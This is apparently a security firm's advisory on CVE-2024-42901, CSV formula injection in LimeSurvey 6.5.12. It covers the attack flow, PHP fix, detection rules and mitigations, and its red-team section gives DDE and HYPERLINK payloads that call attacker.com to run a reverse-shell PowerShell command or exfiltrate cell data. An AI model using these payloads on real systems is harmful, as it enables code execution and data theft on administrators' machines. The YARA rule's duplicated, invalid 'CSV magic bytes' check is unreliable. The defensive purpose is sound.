CVE-2024-42901

Executive Summary

CVE-2024-42901 identifies a CSV Injection vulnerability in LimeSurvey version 6.5.12. This flaw allows an attacker to execute arbitrary code by uploading a crafted CSV file. When the CSV file is processed or exported, malicious formulas embedded in cells (e.g., starting with =, +, -, @) can be executed by spreadsheet applications like Microsoft Excel or LibreOffice Calc, leading to remote code execution on the victim's machine. The vulnerability is classified under CWE-1236 (Improper Neutralization of Formula Elements in a CSV File). No public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone web application (LimeSurvey) vulnerability.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the nature of CSV injection, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (the attacker uploads a file)
• Attack Complexity (AC): Low (no special conditions)
• Privileges Required (PR): Low (attacker needs a user account to upload surveys)
• User Interaction (UI): Required (victim must open the CSV file in a spreadsheet application)
• Scope (S): Changed (impact on the victim's system, not the web server)
• Confidentiality (C): High (arbitrary code execution can exfiltrate data)
• Integrity (I): High (code execution can modify files)
• Availability (A): High (code execution can disrupt systems)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H Estimated Score: 8.0 (High)

Threat Level: High. While user interaction is required, the potential for arbitrary code execution on the victim's machine makes this a serious threat, especially in environments where CSV exports are commonly opened by administrators.

Deep Dive & Mechanics

CSV Injection (also known as Formula Injection) occurs when an application does not properly sanitize user-supplied data before including it in a CSV file. Spreadsheet applications interpret cells starting with certain characters as formulas.

Attack Flow:

1. An attacker with a user account on LimeSurvey creates a new survey or modifies an existing one.
2. The attacker crafts a response or a survey field containing a malicious payload, such as =cmd|' /C calc'!A0 (a classic DDE attack) or =HYPERLINK("http://attacker.com/steal?data="&A1,"Click").
3. The attacker uploads this data via a CSV file import feature, or the data is stored and later exported as a CSV by an administrator.
4. When the administrator downloads and opens the CSV file in a spreadsheet application (e.g., Excel, LibreOffice Calc), the formula is executed.
5. The formula can execute arbitrary commands (e.g., cmd.exe /C calc), download malware, or exfiltrate data from the victim's machine.

Root Cause: The application fails to escape or neutralize the =, +, -, and @ characters at the beginning of CSV cell values.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Conceptual PHP):

// In export function
$csvLine = implode(",", $rowData);
fwrite($file, $csvLine . "\n");

This directly writes user data into the CSV without sanitization.

Patched Code (Conceptual PHP):

// In export function
$sanitizedData = array_map(function($value) {
    // Prepend a single quote to escape formula characters
    if (preg_match('/^[=+\-@]/', $value)) {
        return "'" . $value;
    }
    return $value;
}, $rowData);
$csvLine = implode(",", $sanitizedData);
fwrite($file, $csvLine . "\n");

The fix prepends a single quote (') to any value starting with a dangerous character, which tells the spreadsheet application to treat it as text, not a formula.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid user account on a LimeSurvey instance (version 6.5.12).
• Ability to upload a CSV file (e.g., importing responses or survey structure).

Steps:

1. Create a CSV file with the following content:

   id,response
   1,=cmd|' /C powershell -e <base64_encoded_payload>'!A0
   

   Replace <base64_encoded_payload> with a reverse shell or data exfiltration command.
2. Log in to LimeSurvey and navigate to the survey import functionality.
3. Upload the crafted CSV file.
4. Wait for an administrator to export and open the survey responses in Excel.
5. When the administrator opens the file, the DDE command executes, running the PowerShell payload.

Alternative Payload (Data Exfiltration):

id,response
1,=HYPERLINK("http://attacker.com/steal?data="&A1,"Click here")

This will attempt to make a web request when the cell is clicked.

Blue Team (Detection & Defense)

Detection:

• Monitor for CSV files being downloaded from LimeSurvey.
• Use endpoint detection rules (see YARA/Sigma below) to detect malicious formulas in CSV files.
• Alert on processes like cmd.exe, powershell.exe, or wscript.exe being spawned by spreadsheet applications (Excel, LibreOffice).

Defense:

• Immediate: Disable DDE and dynamic data exchange in Microsoft Excel (File > Options > Trust Center > Trust Center Settings > External Content).
• User Training: Educate administrators to never enable macros or click on links in CSV files from untrusted sources.
• Web Application Firewall (WAF): Deploy a WAF rule to block CSV uploads containing =, +, -, @ at the start of a cell.
• Input Validation: Implement server-side sanitization to prepend a single quote to dangerous characters.

Indicators of Compromise (IOCs)

File-Based IOCs:

• CSV files containing cells starting with =, +, -, @.
• CSV files with DDE commands: =cmd|' /C ...'!A0
• CSV files with =HYPERLINK(...) or =WEBSERVICE(...) functions.

Network IOCs:

• Outbound HTTP/HTTPS requests from a machine running Excel to an external IP/domain, triggered by =HYPERLINK() or =WEBSERVICE().
• DNS queries to suspicious domains from a machine that recently opened a CSV file from LimeSurvey.

Process IOCs:

• cmd.exe, powershell.exe, wscript.exe, or cscript.exe spawned by EXCEL.EXE or SOFFICE.BIN.

Detection Engineering

YARA Rule

rule CVE_2024_42901_CSV_Injection {
    meta:
        description = "Detects CSV files with potential formula injection patterns"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-42901"
    strings:
        $formula1 = "=cmd|" ascii wide nocase
        $formula2 = "=HYPERLINK(" ascii wide nocase
        $formula3 = "=WEBSERVICE(" ascii wide nocase
        $formula4 = "=DDE(" ascii wide nocase
        $formula5 = /^[=+\-@]/ ascii wide
    condition:
        (uint32(0) == 0x435356) or (uint32(0) == 0x435356) // Check for CSV magic bytes or extension
        and any of ($formula*)
}

Sigma Rule

title: CSV Injection via LimeSurvey
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects execution of cmd.exe or powershell.exe spawned by Excel, indicating possible CSV injection.
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-42901
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith:
            - 'EXCEL.EXE'
            - 'SOFFICE.BIN'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\wscript.exe'
            - '\cscript.exe'
    condition: selection
falsepositives:
    - Legitimate use of command line tools from within Excel macros (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-42901 - Potential CSV Injection Data Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?data="; http_uri; classtype:attempted-information-leak; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable DDE in Excel: Go to File > Options > Trust Center > Trust Center Settings > External Content. Select "Disable all Dynamic Data Exchange (DDE) server lookups".
2. User Awareness: Warn all LimeSurvey administrators about the risks of opening CSV files from the application.
3. WAF Rule: Implement a WAF rule to block CSV uploads containing =, +, -, @ at the start of a cell.

Long-Term Fix:

• Vendor Patch: Await an official patch from LimeSurvey. The fix should sanitize all CSV output by prepending a single quote (') to any cell value starting with a dangerous character.
• Input Validation: Implement server-side validation to reject or sanitize CSV uploads containing formula injection patterns.
• Alternative Export Format: Use a safer export format like JSON or XML for data exchange, and only use CSV when absolutely necessary.

Workaround:

• If patching is not possible, consider disabling the CSV export/import functionality entirely, or restrict it to trusted administrators only.

Valters IT